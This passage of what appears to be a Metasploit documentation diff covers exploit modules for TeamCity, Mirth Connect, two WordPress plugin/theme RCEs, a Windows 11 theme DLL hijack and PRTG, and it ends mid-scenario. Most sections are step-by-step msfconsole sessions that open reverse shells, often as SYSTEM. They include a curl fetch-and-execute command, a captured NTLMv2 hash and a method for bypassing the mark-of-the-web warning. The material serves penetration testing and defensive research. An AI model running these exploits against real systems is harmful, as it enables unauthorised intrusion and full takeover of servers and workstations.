[+] Deleted C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_RzeS0eJP
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.68:53113) at 2024-02-23 14:21:43 +0000
[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\RzeS0eJP' on the target
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-CMULENHFCK7
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > pwd
c:\TeamCity\bin
meterpreter >
```
### Linux Command
Note: Ensure the target is a Linux target by confirming via the `check` command.
Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CURL`.
Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `/tmp`.
```
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOSTS 192.168.86.43
RHOSTS => 192.168.86.43
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 3
target => 3
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set FETCH_WRITABLE_DIR /tmp
FETCH_WRITABLE_DIR => /tmp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME cWStJXIvdtmM no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
3 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.NVAxemdUTVFnSlp4Um1jdkN5Yi12dk1wNkJR.NTIyNTA1NjgtOWM3Zi00YzdiLTkzMTEtYTc2Y2ZkZjRjYTVl
[*] Uploading plugin: CyGZ1ME5
[*] Sending stage (3045380 bytes) to 192.168.86.43
[*] Deleting the plugin...
[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.43:55572) at 2024-02-23 14:24:37 +0000
[*] Deleting the authentication token...
[!] This exploit may require manual cleanup of '/opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_CyGZ1ME5' on the target
[!] This exploit may require manual cleanup of '/home/teamcity/.BuildServer/system/caches/plugins.unpacked/CyGZ1ME5' on the target
meterpreter > getuid
Server username: teamcity
meterpreter > sysinfo
Computer : 192.168.86.43
OS : Ubuntu 22.04 (Linux 6.5.0-15-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/opt/TeamCity/bin
meterpreter >
```
### Unix Command
This target is suitable for targeting Linux, OSX, or any of the unofficially supported platforms such as
Solaris, FreeBSD and so on.
Note: Ensure the target is a Unix-like target by confirming via the `check` command.
```
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 4
target => 4
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
CreateSession true no Create a new session for every successful login
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
4 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ME9Xa2xIMDhSYmtxTVBMaThGWDdObVJaakZ3.MDdhNDM0NzktYWM3ZC00NzAzLTk4ZmUtNjVlMzQ3MGMwOGIz
[*] Uploading plugin: 4V9kOD1D
[*] Deleting the plugin...
[*] Deleting the authentication token...
[+] Deleted /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_4V9kOD1D
[+] Deleted /home/teamcity/.BuildServer/system/caches/plugins.unpacked/4V9kOD1D
[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.43:44878) at 2024-02-23 14:27:04 +0000
id
uid=1002(teamcity) gid=1002(teamcity) groups=1002(teamcity)
uname -a
Linux teamcity-ubuntu-test 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
pwd
/opt/TeamCity/bin
```
@@ -0,0 +1,121 @@
## Vulnerable Application
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
### Setup (Linux with Docker)
1. Run the application in docker: `docker run --name mirth-connect --rm -d -p 8443:8443 nextgenhealthcare/connect:4.4.0`
### Setup (Windows)
1. Download the desired release from the [GitHub page][1]
2. Install a Java runtime
3. Install Mirth Connect
1. Accept all default values for every stage of the installation
## Verification Steps
1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/mirth_connect_cve_2023_43208`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module
## Options
## Scenarios
### Mirth Connect 4.4.0 in Docker
Note that Python is not available in the docker container, so no Python payloads will work.
```
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http
Display all 106 possibilities? (y or n)
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit
[*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX &
[*] Fetch Handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.1.1
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.128:49360) at 2024-01-26 17:11:37 -0500
meterpreter > getuid
Server username: mirth
meterpreter > sysinfo
Computer : 10.0.2.100
OS : Debian 11.4 (Linux 6.6.12-200.fc39.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/opt/connect
meterpreter >
```
### Mirth Connect 4.4.0 on Windows Server 2019
```
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command
TARGET => Windows Command
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run
[*] Powershell command length: 4418
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[+] The target appears to have executed the payload.
[*] Sending stage (201798 bytes) to 192.168.159.10
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 13
Meterpreter : x64/windows
meterpreter > pwd
C:\Program Files\Mirth Connect
meterpreter >
```
[1]: https://github.com/nextgenhealthcare/connect/releases
@@ -0,0 +1,126 @@
## Vulnerable Application
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.
The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
### Setup
Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:
```
version: "3"
# Defines which compose version to use
services:
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
db:
image: mysql:5.7
# image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation.
restart: always
environment:
MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD
MYSQL_DATABASE: MyWordPressDatabaseName
MYSQL_USER: MyWordPressUser
MYSQL_PASSWORD: Pa$$5w0rD
# Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password.
wordpress:
depends_on:
- db
image: wordpress:latest
restart: always
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
ports:
- "8000:80"
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: MyWordPressUser
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
WORDPRESS_DB_NAME: MyWordPressDatabaseName
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
volumes:
["./:/var/www/html"]
volumes:
mysql: {}
```
Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
plugin. You should now have a vulnerable instance running.
## Verification Steps
1. Start msfconsole
1. Do: `use `
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session in the context of the user running the WordPress application.
## Scenarios
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
```
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
rport => 8000
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options
Module options (exploit/multi/http/wp_backup_migration_php_filter):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.0
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 192.168.123.1
[+] Deleted L
[+] Deleted ONxu.php
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 856d06702f34
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,160 @@
## Vulnerable Application
This Metasploit module exploits a Remote Code Execution vulnerability in Bricks Builder Theme, versions prior to 1.9.6.
The vulnerability allows attackers to execute arbitrary PHP code by leveraging
a nonce leakage to bypass authentication and exploit the eval() function usage within the theme.
To replicate a vulnerable environment for testing:
1. Install WordPress.
2. Download and install the Bricks Builder Theme, ensuring the version is below 1.9.6.
3. Activate Bricks Builder.
4. Create a model with a default page (to ensure the nonce is on index.php, add some elements).
## Verification Steps
1. Set up a WordPress instance with the Bricks Builder Theme (version < 1.9.6).
2. Launch `msfconsole` in your Metasploit framework.
3. Use the module: `use exploit/multi/http/wp_bricks_builder_rce`.
4. Set `RHOSTS` to the local IP address or hostname of the target.
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
6. Execute the exploit using the `run` or `exploit` command.
7. If the target is vulnerable, the module will execute the specified payload.
## Options
No option
## Scenarios
### Successful Exploitation Against Local WordPress with Bricks Builder Theme 1.8
**Setup**:
- Local WordPress instance with Bricks Builder Theme version 1.8.
- Metasploit Framework.
**Steps**:
1. Start `msfconsole`.
2. Load the module:
```
use exploit/multi/http/wp_bricks_builder_rce
```
4. Set `RHOSTS` to the local IP (e.g., 192.168.1.10).
5. Configure other necessary options (TARGETURI, SSL, etc.).
6. Launch the exploit:
```
exploit
```
**Expected Results**:
- The module attempts to retrieve a nonce from the local server.
- It then uploads and executes the payload.
- If successful, control over the local WordPress instance is gained, depending on the payload used.
**Example**:
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
```
msf6 > search bricks
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_bricks_builder_rce 2024-02-19 excellent Yes Unauthenticated RCE in Bricks Builder Theme
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_bricks_builder_rce
msf6 > use 0
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_bricks_builder_rce) > options
Module options (exploit/multi/http/wp_bricks_builder_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to WordPress
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME ilPaBylkCKr no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/wp_bricks_builder_rce) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf6 exploit(multi/http/wp_bricks_builder_rce) > set rhosts localhost
rhosts => localhost
msf6 exploit(multi/http/wp_bricks_builder_rce) > set rport 8888
rport => 8888
msf6 exploit(multi/http/wp_bricks_builder_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Nonce retrieved: 953563d296
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 172.20.0.2:39856) at 2024-02-26 21:51:11 +0100
meterpreter > sysinfo
Computer : 172.20.0.2
OS : Debian 11.8 (Linux 6.4.10-060410-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
With `php/meterpreter/reverse_tcp`:
```
msf6 exploit(multi/http/wp_bricks_builder_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_bricks_builder_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Nonce retrieved: 953563d296
[*] Sending stage (39927 bytes) to 172.20.0.2
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 172.20.0.2:49678) at 2024-02-26 22:02:56 +0100
meterpreter > sysinfo
Computer : 65e1e703e433
OS : Linux 65e1e703e433 6.4.10-060410-generic #202308111154 SMP PREEMPT_DYNAMIC Fri Aug 11 12:00:45 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,143 @@
## Description
There exists a time of check to time of use vulnerability in the way Windows 11 loads msstyles files when they are
loaded via a theme file. When a user opens a theme which references an msstyles file with a `PACKME_VERSION`
of 999, the process will check for the presence of the msstyles file appended with "_vrf.dll". If the file is found,
the process will open the file to check for a signature. If the signature is valid, the process closes the file and
then loads it. By closing the file after the check and before loading it, we can feed a legitimate signed dll to the
check read, and then substitute a malicious dll for the second, resulting in the process loading our dll and executing
arbitrary code.
To control this race condition, we implement a UNC path pointing back to an SMB server we control that uses the type
of request issued by the SMB client to dictate the file served to it; we serve a signed Microsoft Binary when the
verification takes place, but serve a payload dll when the host attempts to load the file.
Because the PACKME_VERSION must be 999 and licinsing limits our ability to include a microsoft binary in Metasploit,
this module includes a tool to take a normal windows aero.msstyles file and give it the required PACKME_VERSION.
As the aero.msstyles file is also a signed binary, we can use it as both the msstyles file and the legitimate signed
dll file. This will fail if the msstyles file is already altered for this exploit. For this example, we used the
aero file located in `C:\Windows\Resources\Themes\aero\` on a stock Windows 10 x64 installation.
As a final step, a user may convert the resultant theme file into a themepack file by using the linux command
`lcab exploit.theme exploit.themepack`
By converting this into a themepack file rather than a theme file, it circumvents the "mark of the web" and will no
longer result in a security warning dialog box before opening.
## Vulnerable Application
Windows 11
## Verification Steps
1. `./msfconsole`
2. `set payload windows/x64/meterpreter_reverse_tcp`
3. `set LHOST <IP>`
4. `set LPORT <PORT>`
5. `set STYLE_FILE` <PATH_TO_AERO_FILE>
6. `set DisablePayloadhandler false`
7. `run`
8. [OPTIONAL] Convert the theme file to a themepack file with the Linux command `lcab exploit.theme exploit.themepack`
9. Copy theme or themepack file over to target.
## Options
### STYLE_FILE
This file must be a signed msstyles file and serves 2 purposes:
1. We adjust this msstyles file to have the required PACKME_VERSION and serve it as part of the exploit.
2. As the msstyles file is an executable dll, we also serve it as the legitimate signed file to pass the verification
before serving the payload dll. A file of this type is located on Windows 10 hosts under
`C:\Windows\Resources\Themes\aero\aero.msstyles`
.
### STYLE_FILE_NAME
This is the name of the style file added to the theme file we create.
### THEME_FILE_NAME
This is the name of the theme file created by the exploit to send to the target host.
## Scenarios
### Windows 11
```
msf6 > use exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > show options
Module options (exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE no Share (Default Random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the loc
al machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
STYLE_FILE yes The Microsoft-signed .msstyles file (e.g. aero.msstyles).
STYLE_FILE_NAME yes The name of the style file to reference.
THEME_FILE_NAME exploit.theme yes The name of the theme file to generate.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set SRVHOST 10.5.135.201
SRVHOST => 10.5.135.201
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE '/home/tmoose/rapid7/metasploit-framework/aero.msstyles'
STYLE_FILE => /home/tmoose/rapid7/metasploit-framework/aero.msstyles
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE_NAME aero
STYLE_FILE_NAME => aero
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set verbose true
verbose => true
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) >
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Server is running. Listening on 10.5.135.201:445
[*] Server started.
[+] exploit.theme stored at /home/tmoose/.msf4/local/exploit.theme
[*] Received SMB connection from 10.5.132.136
[SMB] NTLMv2-SSP Client : 10.5.132.136
[SMB] NTLMv2-SSP Username : .\msfuser
[SMB] NTLMv2-SSP Hash : msfuser::.:571cefb4150fb5f1:059699f9eee7e044d95167c03c58c6b4:010100000000000000326d46a633da013654631d1e8ef262000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080000326d46a633da0106000400020000000800300030000000000000000100000000200000fe746065d66cc1efc7756d546af110124dd7d6b60126a5edff7b41cce14019d90a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000
[*] Sending file to 10.5.132.136
[*] Sending stage (200774 bytes) to 10.5.132.136
[*] Server stopped.
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.136:50003) at 2023-12-20 18:40:25 -0600
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-7M0LC28
OS : Windows 11 (10.0 Build 22000).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-7M0LC28\msfuser
meterpreter >
```
@@ -0,0 +1,124 @@
## Vulnerable Application
**Vulnerability Description**
This module exploits a command line parameter injection vulnerability in PRTG Network Monitor (CVE-2023-32781).
An authenticated attacker can create a HL7Sensor which can be ran with a parameter injection. This will allow the attacker to specify the `-debug` parameter which will allow a arbitrary file write on the system in the context of the user `SYSTEM`.
The module uses provided credentials to log in to the web interface, and then creates the HL7Sensor, together with an EXE/Script sensor which runs the payload. Furthermore it cleans up the sensor creation after succesful exploitation.
This vulnerability affects versions <= 23.2.83.1760
**Vulnerable Application Installation**
PRTG provides a trial version for free (https://www.paessler.com/prtg/download) but it is always updated to the latest version, which won't allow you to test for the vulnerability.
**Successfully tested on**
- PRTG Network Monitor 23.2.83.1760 on Windows 10
## Verification Steps
1. Install the application
1. Start `msfconsole` and run the following:
```
use exploit/windows/http/prtg_authenticated_rce_cve_2023_32781
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RPORT 13380
RPORT => 13380
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVPORT 10106
SRVPORT => 10106
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LPORT 4446
LPORT => 4445
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LHOST 192.168.56.1
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > exploit
```
`RHOSTS` refers to the PRTG host
`RPORT` refers to the PRTG port
`SRVHOST` refers to the host where metasploit will serve the second stage payload. This has to be reachable by `PRTG`
`SRVPORT` refers to the port where metasploit will serve the second stage payload. This has to be reachable by `PRTG`
`LPORT` refers to the payload connect port back which in this instance is meterpreter
`LHOST` refers to the payload connect host back which in this instance is meterpreter
After running this you should have a meterpreter instance
## Options
**USERNAME**
PRTG Network Monitor's account that has the right to create Sensors (allowed by default on the initial account).
**PASSWORD**
The password associated with the specified username.
## Scenarios
Running the payload and getting a meterpreter session and then spawning a shell as `nt authority\system`
```bash
msf6 > use exploit/development/cve_2023_32781
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(development/cve_2023_32781) > set RPORT 13380
RPORT => 13380
msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106
SRVPORT => 10106
msf6 exploit(development/cve_2023_32781) > set LPORT 4446
LPORT => 4445
msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1
msf6 exploit(development/cve_2023_32781) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4446
[*] Using URL: http://192.168.56.1:10105/sF321hmEZCz
[*] Running PRTG RCE exploit
